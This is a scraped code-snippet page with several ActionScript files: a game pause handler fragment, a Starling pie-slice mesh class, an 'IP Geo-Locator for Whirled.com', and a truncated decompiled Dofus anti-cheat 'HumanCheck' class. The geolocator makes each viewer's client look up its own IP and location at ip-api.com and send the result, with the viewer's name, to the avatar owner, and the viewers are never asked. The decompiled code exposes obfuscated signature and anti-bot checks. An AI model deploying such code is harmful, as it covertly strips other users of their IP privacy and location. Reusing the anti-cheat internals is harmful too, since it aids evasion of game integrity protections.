    			pausedScreen.addEventListener(CustomEventButtonId.BUTTON_ID , pausedScreenClickListener, false, 0, true);
    			paused = true;
    		}
    		
    		public  function muteKeyPressedHandler():void {
    			soundManager.muteSound();
    		}
    		
    		
    		
    	}
    	
    }
    
    
    
    

    external by Pravat Bhusal  52  0  1  0

    IP Geo-Locator for Whirled.com

    IP Geo-Locator for Whirled.com: whirledLocator.as
    import flash.events.Event;
    import flash.events.IOErrorEvent;
    import flash.events.SecurityErrorEvent;
    import flash.net.URLLoader;
    import flash.net.URLRequest;
    import flash.system.Security;
    
    //launch the geolocator whenever we press the action
    _ctrl.addEventListener(ControlEvent.ACTION_TRIGGERED, launchGeoLocator);
    //get the signal response;
    _ctrl.addEventListener(ControlEvent.SIGNAL_RECEIVED, receivedSignal);
    
    //whirled/synced info.
    var playerId:String = String(_ctrl.getInstanceId());
    var playerName:String = _ctrl.getViewerName(int(playerId));
    var sendName:String = playerName + ": " + playerId;//example of what this looks like: Shadowsych: 2
    
    //geolocator info.
    var loader:URLLoader = new URLLoader();//loader
    var loadedData:String = "";
    var _geoConsole :geoGUI = new geoGUI();
    _geoConsole.NextBTN.addEventListener(MouseEvent.CLICK, nextInfoBTN);
    _geoConsole.PrevBTN.addEventListener(MouseEvent.CLICK, prevInfoBTN);
    var currentInfoIndex:int = 0; //current ip shown index
    
    //contain an array for everyone's information
    var peopleIdName:Array = [];
    var peopleInfo:Array = [];
    
    function launchGeoLocator(e:ControlEvent):void
    {
    	if (e.name == "Geo-Locator")
    	{
    		//reset all settings to normal
    		peopleIdName = [];
    		peopleInfo = [];
    		currentInfoIndex = 0;
    		loadedData = "";
    		
    		locatePerson();
    	}
    }
    function locatePerson()
    {
    	Security.loadPolicyFile("http://ip-api.com/crossdomain.xml");
    	//security policy;
    
    	loader.load(new URLRequest("http://ip-api.com/json/"));
    	//load json file;
    	
    	loader.addEventListener(Event.COMPLETE,completeFunc);
    	//check if successful;
    	
    	loader.addEventListener(IOErrorEvent.IO_ERROR,errFunc);
    	//if failed, we suck!;
    	
    	loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,errFunc);
    	//policy error?
    }
    function completeFunc(E:Event):void
    {//load the data from the json file
    trace("Loaded the json file!");
    loadedData = String(loader.data);
    //send the player's information from the viewer's client instance to our avatar
    _ctrl.sendSignal(sendName, loadedData);
    }
    function errFunc(E:Event):void
    {
    trace("Error. Could not load the json file!");
    }
    function receivedSignal(E:ControlEvent):void
    {//received signal for my avatar with everyone's information
    
    //make sure this is an info signal (it has the { string)
    var isInfo:Boolean = String(E.value).indexOf("{") != -1;
    if(isInfo == true) {
    peopleIdName.push(String(E.name));
    peopleInfo.push(String(E.value));
    	
    _ctrl.showPopup("Locator", _geoConsole,  _geoConsole.width,  _geoConsole.height);
    
    _geoConsole.infoTxT.text = peopleIdName[currentInfoIndex] + "-" + peopleInfo[currentInfoIndex];
    }
    }
    
    function nextInfoBTN(E:MouseEvent): void 
    {
    	if(currentInfoIndex < peopleIdName.length)
    	{ //make sure our index does not go out of bounds
    	currentInfoIndex ++;
    	if(currentInfoIndex == peopleIdName.length)
    	{
    		currentInfoIndex = peopleIdName.length - 1;
    	}
    	}
    	_geoConsole.infoTxT.text = peopleIdName[currentInfoIndex] + "-" + peopleInfo[currentInfoIndex];
    }
    function prevInfoBTN(E:MouseEvent): void 
    {
    	if(currentInfoIndex >= 0)
    	{ //make sure our index does not go out of bounds
    	currentInfoIndex --;
    	if(currentInfoIndex < 0)
    	{
    		currentInfoIndex = 0;
    	}
    	}
    	_geoConsole.infoTxT.text = peopleIdName[currentInfoIndex] + "-" + peopleInfo[currentInfoIndex];
    }
    
    /*
    How the code works:
    Send a message with the information to the console.
    The name will be the person's name and ID and the value will be an array of the information.
    */
    
    

    external by Klug76  32  0  1  0

    A Starling Mesh that displays a slice of a quad (just like a pie chart, but rectangular). Useful e.g. for a circular progress indicator.

    A Starling Mesh that displays a slice of a quad (just like a pie chart, but rectangular). Useful e.g. for a circular progress indicator.: QuadSection.as
    package starling.extensions
    {
    	import flash.geom.Point;
    	import flash.geom.Rectangle;
    
    	import starling.display.Mesh;
    	import starling.rendering.IndexData;
    	import starling.rendering.VertexData;
    	import starling.textures.Texture;
    
    	public class QuadSection extends Mesh
    	{
    		private var _width:Number;
    		private var _height:Number;
    		private var _color:uint;
    		private var _ratio:Number;
    
    		private static var sPoint:Point = new Point();
    
    		private static const _slices:Array =
    		[
    			{ ratio: 0.0,	x: 0.5,	y: 0.0 },
    			{ ratio: 0.125,	x: 1.0,	y: 0.0 },
    			{ ratio: 0.375,	x: 1.0,	y: 1.0 },
    			{ ratio: 0.625,	x: 0.0,	y: 1.0 },
    			{ ratio: 0.875,	x: 0.0,	y: 0.0 },
    			{ ratio: 1.0,	x: 0.5,	y: 0.0 }
    		];
    
    		public function QuadSection(width:Number, height:Number, color:uint = 0xffffff)
    		{
    			_color = color;
    			_width = width;
    			_height = height;
    			_ratio = 1.0;
    
    			var vertexData:VertexData = new VertexData(null, 6);
    			var indexData:IndexData = new IndexData(15);
    
    			super(vertexData, indexData);
    
    			this.updateVertices();
    		}
    
    		private function updateVertices():void
    		{
    			vertexData.numVertices = 0;
    			indexData.numIndices = 0;
    
    			if (_ratio < 1.e-4)
    			{
    				setVertexDataChanged();
    				return;
    			}
    
    			var angle:Number = (_ratio * 2.0 - 0.5) * Math.PI;
    			var numSlices:int = _slices.length;
    			updateVertex(0, 0.5, 0.5); // center point
    
    			for (var i:int = 1; i < numSlices; ++i)
    			{
    				var currSlice:Object = _slices[i];
    				var prevSlice:Object = _slices[i - 1];
    				var nextVertexID:int = i < 6 ? i + 1 : 1;
    
    				indexData.addTriangle(0, i, nextVertexID);
    				updateVertex(i, prevSlice.x, prevSlice.y);
    
    				if (_ratio > currSlice.ratio)
    				{
    					updateVertex(nextVertexID, currSlice.x, currSlice.y);
    				}
    				else
    				{
    					//updateVertex(nextVertexID, currSlice.x, currSlice.y);
    					intersectLineWithSlice(prevSlice.x, prevSlice.y, currSlice.x, currSlice.y, angle, sPoint);
    					updateVertex(nextVertexID, sPoint.x, sPoint.y);
    					break;
    				}
    			}
    
    			setVertexDataChanged();
    		}
    
    		private function updateVertex(vertexID:int, u:Number, v:Number):void
    		{
    			var x:Number = u;
    			var y:Number = v;
    			var tex:Texture = super.texture;
    			if (tex !== null)
    			{
    				var frame:Rectangle = tex.frame;
    				if (frame !== null)
    				{
    					x -= 0.5;
    					y -= 0.5;
    					x *= tex.width  / frame.width;
    					y *= tex.height / frame.height;// assume equal aspect
    					x += 0.5;
    					y += 0.5;
    				}
    				tex.setTexCoords(vertexData, vertexID, "texCoords", u, v);
    			}
    			x *= _width;
    			y *= _height;
    
    			vertexData.setPoint(vertexID, "position", x, y);
    			vertexData.setColor(vertexID, "color", _color);
    		}
    
    		private function intersectLineWithSlice(ax:Number, ay:Number, bx:Number, by:Number, angle:Number, out:Point = null):Point
    		{
    			if ((ax == bx) && (ay == by)) return null; // length = 0
    
    			var abx:Number = bx - ax;
    			var aby:Number = by - ay;
    			var cdx:Number = Math.cos(angle);
    			var cdy:Number = Math.sin(angle);
    			var tDen:Number = cdy * abx - cdx * aby;
    
    			if (tDen == 0.0) return null; // parallel or identical
    
    			out ||= new Point();
    
    			var cx:Number = 0.5;
    			var cy:Number = 0.5;
    			var t:Number = (aby * (cx - ax) - abx * (cy - ay)) / tDen;
    
    			out.x = cx + t * cdx;
    			out.y = cy + t * cdy;
    
    			return out;
    		}
    
    		override public function get color():uint  { return _color; }
    
    		override public function set color(value:uint):void  { super.color = _color = value; }
    
    		override public function set texture(value:Texture):void
    		{
    			if (super.texture === value)
    				return;
    			super.texture = value;
    			updateVertices();
    		}
    
    		public function get ratio():Number  { return _ratio; }
    
    		public function set ratio(value:Number):void
    		{
    			if (_ratio != value)
    			{
    				_ratio = value;
    				updateVertices();
    			}
    		}
    
    		public static function fromTexture(texture:Texture):QuadSection
    		{
    			var quadPie:QuadSection = new QuadSection(texture.width, texture.height);
    			quadPie.texture = texture;
    			return quadPie;
    		}
    	}
    }
    
    

    external by Romain  43  0  1  0

    antibot challenge

    antibot challenge: RawDataMessage.as
    // Decompiled by AS3 Sorcerer 2.72
    // http://www.as3sorcerer.com/
    
    //HumanCheck
    
    package 
    {
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        import flash.display.BitmapData;
        import flash.display.Sprite;
        import flash.utils.IDataInput;
        import flash.display.Stage;
        import flash.utils.Dictionary;
        import __AS3__.vec.Vector;
        import flash.display.*;
        import flash.system.*;
        import __AS3__.vec.*;
        import flash.utils.*;
    
        public class HumanCheck extends MovieClip 
        {
    
            private static var _init:Boolean = false;
            private static var _passer:Object = new Object();
            private static var _SMELMLEOMG:int;
    
            private var $DOFUSCATOR_0:ByteArray;
            private var $DOFUSCATOR_1:BitmapData;
            private var _hashKey:ByteArray;
            private var _SEOIILHMLGI:int;
            private var _SDXDEHWEOXX:int;
            private var _SIXLXOLMML:int;
            private var _SLOXEIDMD:int;
            private var _SEDOWXHIOI:int;
            private var _SDXIGMHEHIX:int;
            private var _SHMLDDMIXO:int;
            private var _SEDILIXWLEM:int;
            private var _SHHOOXXMOW:int;
            private var _SEIIXGEHIHD:int;
            private var _SEXIIXLELWH:int;
            private var _SDGHWHWGOG:int;
            private var _SEGHOOIXMII:int;
            private var _SEHLOLGXIMH:int;
            private var _SEHWXMOEMME:int;
            private var _SEWDMMEHGEL:int;
    
            public function HumanCheck(passer:Object=null)
            {
                var ti:* = undefined;
                var lfc:* = undefined;
                this._SEOIILHMLGI = (_SOIHEODHGI(748) ^ -94111);
                this._SDXDEHWEOXX = (_SELIOIHOEDL(419) + 17835);
                this._SIXLXOLMML = (_SOIHEODHGI(-696) + -94091);
                this._SLOXEIDMD = (_SHXHIMXIGO(493) ^ 32873);
                this._SEDOWXHIOI = (_SELWOWHMLML(325) ^ -31925);
                this._SDXIGMHEHIX = (_SHMHXLMXGD(67) + -32040);
                this._SHMLDDMIXO = (_SLGIEIEGEM(-844) + -31859);
                this._SEDILIXWLEM = (-23964250 - _SEMXXIXOHDI(466));
                this._SHHOOXXMOW = (_SLGIEIEGEM(-642) ^ -31874);
                this._SEIIXGEHIHD = (_SEMXXIXOHDI(-855) ^ 23964359);
                this._SEXIIXLELWH = (_SELIOIHOEDL(-391) ^ -17668);
                this._SDGHWHWGOG = (-336957 - _SMWMMHIEOM(-274));
                this._SEGHOOIXMII = (_SEGMHMIIMXX(644) + -18594);
                this._SEHLOLGXIMH = (94219 - _SOIHEODHGI(-586));
                this._SEHWXMOEMME = (-32768 - _SHXHIMXIGO(223));
                this._SEWDMMEHGEL = (_SOILEIMMEI(796) ^ 31960);
                super();
                if (((_init) && (!((passer == _passer))))){
                    throw (new Error("You shall not pass"));
                };
                if (passer == _passer){
                    return;
                };
                if (!_init){
                    gotoAndStop(0);
                    while (numChildren) {
                        removeChildAt(0);
                    };
                };
                _init = true;
                this._SEGHOOIXMII = (this._SEGHOOIXMII ^ parseInt(_SafeStr_2._SafeStr_7(-1820302790)));
                this._SLOXEIDMD = (this._SLOXEIDMD ^ parseInt(_SafeStr_2._SafeStr_7(-1820302796)));
                this._SHHOOXXMOW = (this._SHHOOXXMOW ^ parseInt(_SafeStr_2._SafeStr_7(-1820302805)));
                this._SEXIIXLELWH = (this._SEXIIXLELWH ^ parseInt(_SafeStr_2._SafeStr_7(-1820302789)));
                this._SEHLOLGXIMH = (this._SEHLOLGXIMH ^ parseInt(_SafeStr_2._SafeStr_7(-1820302786)));
                this._SEHWXMOEMME = (this._SEHWXMOEMME ^ parseInt("2"));
                this._SEIIXGEHIHD = (this._SEIIXGEHIHD ^ parseInt(_SafeStr_2._SafeStr_7(-1820302801)));
                this._SDXDEHWEOXX = (this._SDXDEHWEOXX ^ parseInt(_SafeStr_2._SafeStr_7(-1820302801)));
                this._SEDOWXHIOI = (this._SEDOWXHIOI ^ parseInt(_SafeStr_2._SafeStr_7(-1820302798)));
                this._SIXLXOLMML = (this._SIXLXOLMML ^ parseInt(_SafeStr_2._SafeStr_7(-1820302803)));
                this._SHMLDDMIXO = (this._SHMLDDMIXO ^ parseInt(_SafeStr_2._SafeStr_7(-1820302806)));
                this._SEOIILHMLGI = (this._SEOIILHMLGI ^ parseInt(_SafeStr_2._SafeStr_7(-1820302812)));
                this._SDGHWHWGOG = (this._SDGHWHWGOG ^ parseInt(_SafeStr_2._SafeStr_7(-1820302796)));
                this._SEDILIXWLEM = (this._SEDILIXWLEM ^ parseInt(_SafeStr_2._SafeStr_7(-1820302807)));
                this._SEWDMMEHGEL = (this._SEWDMMEHGEL ^ parseInt(_SafeStr_2._SafeStr_7(-1820302795)));
                this._SDXIGMHEHIX = (this._SDXIGMHEHIX ^ parseInt(_SafeStr_2._SafeStr_7(-1820302804)));
                ti = setTimeout(this.sendTicket, 1000);
                lfc = new ((getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302800)) as Class))();
                var _local_3 = lfc[_SafeStr_2._SafeStr_7(-1820302816)];
                (_local_3[_SafeStr_2._SafeStr_7(-1820302825)](_SafeStr_2._SafeStr_7(-1820302808), function (e:*):void
                {
                    var dataToDecrypt:ByteArray;
                    var pad:_SEWEGXWIEEM;
                    var mode:_SDIDIWOHGD;
                    var hashKey:ByteArray;
                    var c:* = undefined;
                    var hashColor:ByteArray;
                    var lastColorCount:uint;
                    var ci:uint;
                    var dofusInstance:Sprite;
                    var swfSigData:Object;
                    var rawSignature:ByteArray;
                    var swfContent:ByteArray;
                    var pem:String;
                    var rsaKey:_SLXOGXMDOX;
                    var ANKAMA_SIGNED_FILE_HEADER:String;
                    var SIGNATURE_HEADER:String;
                    var headerPosition:int;
                    var header:String;
                    var signedDataLenght:int;
                    var cryptedData:ByteArray;
                    var sigData:ByteArray;
                    var tsDecrypt:uint;
                    var sigHeader:String;
                    var _decoyXorKeyPart2_:uint;
                    var sigVersion:uint;
                    var sigFileLenght:uint;
                    var _decoyXorKeyPart3_:uint;
                    var hashType:uint;
                    var sigHash:String;
                    var tsHash:uint;
                    var contentHash:String;
                    var sigDate:Date;
                    var _decoyXorKeyPart4_:uint;
                    var _decoyXorKeyPart7_:uint;
                    var _decoyXorKeyPart8_:uint;
                    var _decoyXorKeyPart9_:uint;
                    var n:int;
                    clearTimeout(ti);
                    var dec:Function = function (_arg_1:String, _arg_2:String):String
                    {
                        var _local_3:ByteArray = __slot_20["decodeToByteArray"](_arg_1);
                        var _local_4:ByteArray = __slot_20["decodeToByteArray"](_arg_2);
                        var _local_5:uint;
                        while (_local_5 < _local_3.length) {
                            _local_3[_local_5] = (_local_3[_local_5] ^ _local_4[(_local_5 % _local_4["length"])]);
                            _local_5++;
                        };
                        return (_local_3.toString());
                    };
                    var decoyXorKey:int;
                    try {
                        dofusInstance = ApplicationDomain["currentDomain"]["getDefinition"]("Dofus")["getInstance"]()["stage"]["loaderInfo"]["applicationDomain"]["getDefinition"]("Dofus")["getInstance"]();
                    }
                    catch(err:Error) {
                        sendTicket();
                        return;
                    };
                    var _decoyXorKeyPart1_:uint;
                    var dofusClassDesc:XML = describeType(dofusInstance);
                    if ((((((((((((dofusClassDesc.@name.toString() == dec("WYaYgGMelHIhvGmkn5x+", "Hen+9RBd+BtE0g=="))) && ((dofusClassDesc.@base.toString() == dec("9VLigMMc+zmkS/9f+smRYe8ivk/2", "kz6D86syn1DXOw=="))))) && ((dofusClassDesc.@isDynamic.toString() == "false")))) && ((dofusClassDesc.@isFinal.toString() == "false")))) && ((dofusClassDesc.@isStatic.toString() == "false")))) && ((dofusClassDesc.accessor.(@name == dec("/0HCF18OycvwHQ==", "ky6jczp8gKWWcg==")).@declaredBy.toString() == dec("nUrBLIhnyfoYi5dH2WXaDcTgG5eaX+89iizO5w==", "+yagX+BJrZNr+w==")))) != function ():Boolean
                    {
                        if (((((_SELIOIHOEDL(-577) ^ 17632) >= (32792 - _SLGIEIEGEM(-166)))) || (((((_SHXHIMXIGO(-342) + 33699) < (-31858 - _SHXHIMXIGO(-507)))) && (((_SHMHXLMXGD(-975) ^ -32252) > (32962 - _SELIOIHOEDL(-857)))))))){
                            return (((_SOIHEODHGI(-41) ^ 93206) == (_SOIHEODHGI(741) ^ -93918)));
                        };
                        if (((((_SELWOWHMLML(-165) ^ -41396) >= (_SEMXXIXOHDI(347) ^ 23963705))) && (((32583 - _SLGIEIEGEM(225)) < (-17446 - _SELIOIHOEDL(-308)))))){
                            return (((34125 - _SEGMHMIIMXX(496)) <= (_SHMHXLMXGD(914) + -32177)));
                        };
                        if (((((((((_SHXHIMXIGO(578) + 33577) <= (_SOIHEODHGI(-549) ^ 94181))) && (((_SHMHXLMXGD(-984) + -31898) < (_SOILEIMMEI(674) + -31282))))) && (((31153 - _SELWOWHMLML(277)) < (_SLGIEIEGEM(-143) + -31073))))) || (((_SHXHIMXIGO(268) + 32285) < (_SHMHXLMXGD(722) ^ -32495))))){
                            return (((((_SLGIEIEGEM(312) + -31642) >= (_SEMXXIXOHDI(160) ^ -23963877))) || (((_SHMHXLMXGD(918) ^ 32017) == (_SEMXXIXOHDI(-432) ^ -23964480)))));
                        };
                        if (((((((((42314 - _SELWOWHMLML(-556)) >= (_SMWMMHIEOM(918) + -533653))) && (((_SMWMMHIEOM(-658) ^ -345696) >= (-71567 - _SEGMHMIIMXX(-681)))))) && (((76669 - _SMWMMHIEOM(-202)) == (_SOIHEODHGI(-20) + -93930))))) || (((((_SMWMMHIEOM(-72) + 333192) == (-332138 - _SMWMMHIEOM(-958)))) && (((_SELWOWHMLML(591) + -32150) == (_SELWOWHMLML(-761) + -32288))))))){
                            return (((((-33613 - _SHXHIMXIGO(0x0202)) >= (31544 - _SHMHXLMXGD(-744)))) && (((-32352 - _SHXHIMXIGO(479)) < (_SELIOIHOEDL(289) + 16758)))));
                        };
                        if (((((_SMWMMHIEOM(705) ^ 524385) == (93159 - _SOIHEODHGI(-675)))) && (((_SLGIEIEGEM(153) ^ -32082) > (_SEGMHMIIMXX(-37) + 70871))))){
                            return (((((77026 - _SMWMMHIEOM(564)) <= (_SELIOIHOEDL(-966) ^ 17794))) && (((_SMWMMHIEOM(-297) ^ 337106) <= (-10617 - _SEGMHMIIMXX(569))))));
                        };
                        if (((((_SEGMHMIIMXX(-568) + 54320) < (-33294 - _SHXHIMXIGO(-671)))) || (((_SOILEIMMEI(709) + -32846) >= (_SMWMMHIEOM(962) ^ -534313))))){
                            return (((_SELIOIHOEDL(-941) + 17617) >= (_SELWOWHMLML(968) + -230351)));
                        };
                        if (((((((((_SHMHXLMXGD(-205) ^ -31773) > (_SHXHIMXIGO(-69) + 32637))) && (((-333020 - _SMWMMHIEOM(-923)) == (_SEGMHMIIMXX(-328) + 19406))))) || (((((_SOILEIMMEI(-484) + -31401) < (_SELIOIHOEDL(679) + -32192))) && (((31927 - _SELIOIHOEDL(338)) > (531468 - _SMWMMHIEOM(154)))))))) || (((_SELIOIHOEDL(859) + -31204) == (_SHMHXLMXGD(-762) ^ 32255))))){
                            return (((_SHMHXLMXGD(-269) + -31825) <= (_SHMHXLMXGD(-522) + -31953)));
                        };
                        if (((((((_SOILEIMMEI(-27) + -32656) >= (_SELWOWHMLML(-898) + -42136))) && (((_SHMHXLMXGD(418) + -32160) == (_SELWOWHMLML(337) + -41651))))) || (((((_SHXHIMXIGO(-791) + 32154) == (31552 - _SLGIEIEGEM(50)))) && (((_SMWMMHIEOM(-563) ^ 347487) <= (94256 - _SOIHEODHGI(-518)))))))){
                            return (((((77471 - _SMWMMHIEOM(203)) <= (-190590 - _SEGMHMIIMXX(-298)))) || (((_SHMHXLMXGD(938) + -32459) > (_SEGMHMIIMXX(408) ^ 7886304)))));
                        };
                        return (((((_SELIOIHOEDL(-952) ^ -18235) >= (-23964776 - _SEMXXIXOHDI(-908)))) && (((_SLGIEIEGEM(353) ^ 32495) == (-14304 - _SEGMHMIIMXX(-181))))));
                    }()){
                        decoyXorKey = (decoyXorKey ^ (_SELIOIHOEDL(-261) ^ -31959));
                    };
                    var getSigData:Function = function (_arg_1:IDataInput, _arg_2:Boolean=true):Object
                    {
                        var _local_9:int;
                        var _local_10:int;
                        var _local_11:int;
                        var _local_12:Object;
                        var _local_13:String;
                        if (_arg_2){
                            _arg_1["position"] = 0;
                        };
                        _arg_1["endian"] = Endian["LITTLE_ENDIAN"];
                        var _local_3:String = _arg_1["readUTFBytes"](3);
                        var _local_4:uint = _arg_1["readUnsignedByte"]();
                        var _local_5:uint = _arg_1["readUnsignedInt"]();
                        var _local_6 = (_arg_1["readUnsignedByte"]() >> 3);
                        _arg_1["position"] = (_arg_1["position"] + Math["ceil"](((_local_6 * 4) / 8)));
                        var _local_7:uint = ((_arg_1["readUnsignedByte"]() / 0xFF) + _arg_1["readByte"]());
                        var _local_8:uint = _arg_1["readUnsignedShort"]();
                        while (_arg_1["bytesAvailable"] != 0) {
                            _local_9 = _arg_1["readUnsignedShort"]();
                            _local_10 = (_local_9 >> 6);
                            _local_11 = (_local_9 & ((1 << 6) - 1));
                            if (_local_11 == 63){
                                _local_11 = _arg_1["readInt"]();
                            };
                            if (_local_10 == 77){
                                _local_12 = new Object();
                                _local_13 = _arg_1["readUTFBytes"](_local_11);
                                if (_local_13["substr"](0, 4) == "SMD%"){
                                    _local_12["signature"] = __slot_20["decodeToByteArray"](_local_13["substr"](4));
                                    _local_12["signedData"] = new (getDefinitionByName("flash.utils.ByteArray"))();
                                    var _local_14 = _arg_1;
                                    (_local_14["readBytes"](_local_12["signedData"]));
                                    return (_local_12);
                                };
                            }
                            else {
                                _arg_1["position"] = (_arg_1["position"] + _local_11);
                            };
                            if ((((_local_10 == 0)) || ((_local_10 == 82)))){
                                return (null);
                            };
                        };
                        return (null);
                    };
                    var sigOk:Boolean = true;
                    try {
                        swfSigData = getSigData(dofusInstance["root"]["loaderInfo"]["bytes"]);
                        rawSignature = swfSigData["signature"];
                        swfContent = swfSigData["signedData"];
                        if (!rawSignature){
                            sendTicket();
                            return;
                        };
                        pem = ((dec("CxtaR/3R3Dp4RQZmIiic2tpdek5/G1pH/b4=", "JjZ3atCTmX0xCw==") + dec("GnqJkjBHDBmzsDxCqLsQanQgwZUWYoWWOGwCFLCGb3KNmTBvDjC6lBZihZFAdT01opkSZq+dT0MkLcKPA3aThzMCBGTav2R564kKSBgelZIEW7ipCR0jGpePb0uVmCxGORzehhFq64ZNfH4xp/gnV67hKVUCNomcEnL4gyBqAxaftHxGibEVFBcQuaY8UYazN2t6FL+nZ36VlhxOHD7EsBBqsLdNZx07suc4Xaa9FxsfZYK/BHKs5zQGGBSnsBFDiZMvXzkPibg0XLP/E0p9GKH4ZVSXliN4dRabnBNc9JozfWI2gaEiUaqFHlgrFLaZD3aXqRd/JhiSuxpxmKA4Wn8es5YYBYu6K0kKFZ27B16KtiBOHgaA/BAY+aQJGCMc2rMtWIy3MHkeMMmdI3jypAkYOnyXtSMGtJIVbgE0h5R4BIORCRQ5ZLv8DXqtnzYYJgWG/BRd9JodHx8CvLQHcKTnChwHH4CFD1WPpAxkOS3GrzR8rKExWTQbtK8hXLS2NFoEE7CGFnE=", "VzPA0HktTVfx1w==")) + dec("+xBYxmoYuxfd+YN/OaIEfb4WpIT7EFjG", "1j1160dd9VP9qQ=="));
                        rsaKey = _SEGXOIIMDXX["readRSAPublicKey"](pem);
                        ANKAMA_SIGNED_FILE_HEADER = dec("QoHnJg==", "A8q0YA==");
                        SIGNATURE_HEADER = dec("epYicw==", "O91xNw==");
                        headerPosition = (rawSignature["bytesAvailable"] - ANKAMA_SIGNED_FILE_HEADER["length"]);
                        rawSignature["position"] = headerPosition;
                        header = rawSignature["readUTFBytes"](4);
                        if (header != ANKAMA_SIGNED_FILE_HEADER){
                            sigOk = false;
                        };
                        if (sigOk){
                            rawSignature["position"] = (headerPosition - 4);
                            signedDataLenght = rawSignature["readShort"]();
                            rawSignature["position"] = ((headerPosition - 4) - signedDataLenght);
                            cryptedData = new ByteArray();
                            var _local_3 = rawSignature;
                            (_local_3["readBytes"](cryptedData, 0, signedDataLenght));
                            sigData = new ByteArray();
                            tsDecrypt = getTimer();
                            _local_3 = rsaKey;
                            (_local_3["verify"](cryptedData, sigData, cryptedData["length"]));
                            sigData["position"] = 0;
                            sigHeader = sigData["readUTF"]();
                            _decoyXorKeyPart2_ = 0;
                            if ((sigHeader == SIGNATURE_HEADER) != function ():Boolean
                            {
                                if (((((525427 - _SMWMMHIEOM(759)) >= (_SMWMMHIEOM(-368) + 333297))) || (((32805 - _SLGIEIEGEM(148)) < (_SEMXXIXOHDI(-602) + 23963495))))){
                                    return (((-32047 - _SHXHIMXIGO(-807)) < (_SHMHXLMXGD(592) + -31873)));
                                };
                                if (((((((_SOILEIMMEI(-486) + -32101) == (_SOIHEODHGI(-428) ^ 93294))) || (((-32762 - _SHXHIMXIGO(-637)) > (_SELIOIHOEDL(-194) ^ 17477))))) || (((_SMWMMHIEOM(-61) + -76583) > (_SMWMMHIEOM(835) + -523051))))){
                                    return (((76923 - _SMWMMHIEOM(457)) > (_SOILEIMMEI(508) ^ -32304)));
                                };
                                if (((((((((-23965258 - _SEMXXIXOHDI(-92)) < (_SHMHXLMXGD(710) + -31954))) && (((_SEGMHMIIMXX(-824) ^ -18887) > (_SOILEIMMEI(606) + -31732))))) && (((_SELIOIHOEDL(895) + 16943) > (_SHMHXLMXGD(976) ^ 32649))))) || (((_SEMXXIXOHDI(500) + 23964942) >= (_SHMHXLMXGD(825) ^ 31765))))){
                                    return (((((_SELWOWHMLML(0xFF) ^ -32650) > (_SLGIEIEGEM(53) + -31462))) && (((-23964675 - _SEMXXIXOHDI(-758)) < (_SLGIEIEGEM(175) ^ 31831)))));
                                };
                                if (((((((((((_SEMXXIXOHDI(-454) ^ -23963914) >= (-32134 - _SHXHIMXIGO(577)))) && (((_SELIOIHOEDL(7) + 17988) > (_SEGMHMIIMXX(-434) + 71006))))) && (((_SEMXXIXOHDI(-325) + 23964376) < (_SEMXXIXOHDI(179) ^ -23963742))))) || (((_SOIHEODHGI(956) + -94122) == (_SHMHXLMXGD(-674) ^ 32315))))) || (((31757 - _SLGIEIEGEM(386)) <= (_SELIOIHOEDL(-340) + -31514))))){
                                    return (((((_SHMHXLMXGD(-745) ^ 31888) <= (_SMWMMHIEOM(-238) + 331802))) && (((_SEGMHMIIMXX(194) ^ -24664) == (93578 - _SOIHEODHGI(-310))))));
                                };
                                if (((((_SLGIEIEGEM(790) ^ -32466) > (_SMWMMHIEOM(-386) + -76756))) || (((-18586 - _SEGMHMIIMXX(-323)) == (-23963515 - _SEMXXIXOHDI(505)))))){
                                    return (((((_SHMHXLMXGD(-397) ^ 31933) < (_SELWOWHMLML(-896) ^ -107518))) && (((32393 - _SOILEIMMEI(-953)) >= (31449 - _SELIOIHOEDL(496))))));
                                };
                                return (((_SEMXXIXOHDI(-2) ^ -23963875) <= (_SEGMHMIIMXX(-606) + 11526)));
                            }()){
                                decoyXorKey = (decoyXorKey ^ (_SEMXXIXOHDI(717) ^ 23964358));
                            };
                            if (sigHeader != SIGNATURE_HEADER){
                                sigOk = false;
                            };
                            if (sigOk){
                                sigVersion = sigData["readByte"]();
                                _local_3 = sigData;
                                (_local_3["readInt"]());
                                _local_3 = sigData;
                                (_local_3["readInt"]());
                                sigFileLenght = sigData["readInt"]();
                                _decoyXorKeyPart3_ = 0;
                                if ((sigFileLenght == (swfContent as ByteArray).length) == function ():Boolean
                                {
                                    if (((((((_SMWMMHIEOM(-335) ^ 334085) < (_SOIHEODHGI(-476) + -94809))) || (((_SELIOIHOEDL(836) + -32471) >= (_SOIHEODHGI(137) ^ 94159))))) || (((_SLGIEIEGEM(657) ^ -32619) <= (_SMWMMHIEOM(-973) + -77310))))){
                                        return (((((93736 - _SOIHEODHGI(814)) <= (-31804 - _SHXHIMXIGO(-900)))) && (((-55359 - _SEGMHMIIMXX(-17)) <= (_SOILEIMMEI(-162) + -31051)))));
                                    };
                                    if (((((((((_SOILEIMMEI(299) + -32128) > (_SMWMMHIEOM(-401) ^ -76168))) && (((_SOILEIMMEI(-886) + -31015) > (_SELIOIHOEDL(-308) + 17820))))) || (((_SLGIEIEGEM(874) + -32658) < (31165 - _SOILEIMMEI(-625)))))) || (((((_SEGMHMIIMXX(115) ^ 11123) == (525894 - _SMWMMHIEOM(767)))) && (((_SOIHEODHGI(855) ^ -93479) >= (_SOIHEODHGI(-340) ^ 93356))))))){
                                        return (((-23964196 - _SEMXXIXOHDI(-200)) <= (32164 - _SLGIEIEGEM(-932))));
                                    };
                                    if (((((((((-55525 - _SEGMHMIIMXX(-960)) > (_SEGMHMIIMXX(821) + 584863))) && (((32265 - _SOILEIMMEI(-358)) <= (76662 - _SMWMMHIEOM(574)))))) || (((((_SELWOWHMLML(-326) ^ -42532) < (_SEMXXIXOHDI(-341) ^ -23964362))) && (((_SEGMHMIIMXX(302) ^ -579885) >= (_SELIOIHOEDL(-433) ^ -17840))))))) || (((_SEGMHMIIMXX(425) + 11121) <= (_SEGMHMIIMXX(199) ^ 373215898))))){
                                        return (((((32610 - _SOILEIMMEI(-889)) >= (_SEGMHMIIMXX(-19) + 15630))) || (((_SELIOIHOEDL(-601) + -31906) <= (-10228 - _SEGMHMIIMXX(-526))))));
                                    };
                                    if (((((_SOILEIMMEI(-563) ^ -32165) == (_SELIOIHOEDL(396) ^ 31764))) || (((_SLGIEIEGEM(-891) ^ 32187) == (_SMWMMHIEOM(601) ^ 526125))))){
                                        return (((((_SELIOIHOEDL(798) ^ -17423) > (_SEGMHMIIMXX(246) ^ -11167))) || (((_SEMXXIXOHDI(-843) + 23965080) >= (_SELIOIHOEDL(-847) + -32041)))));
                                    };
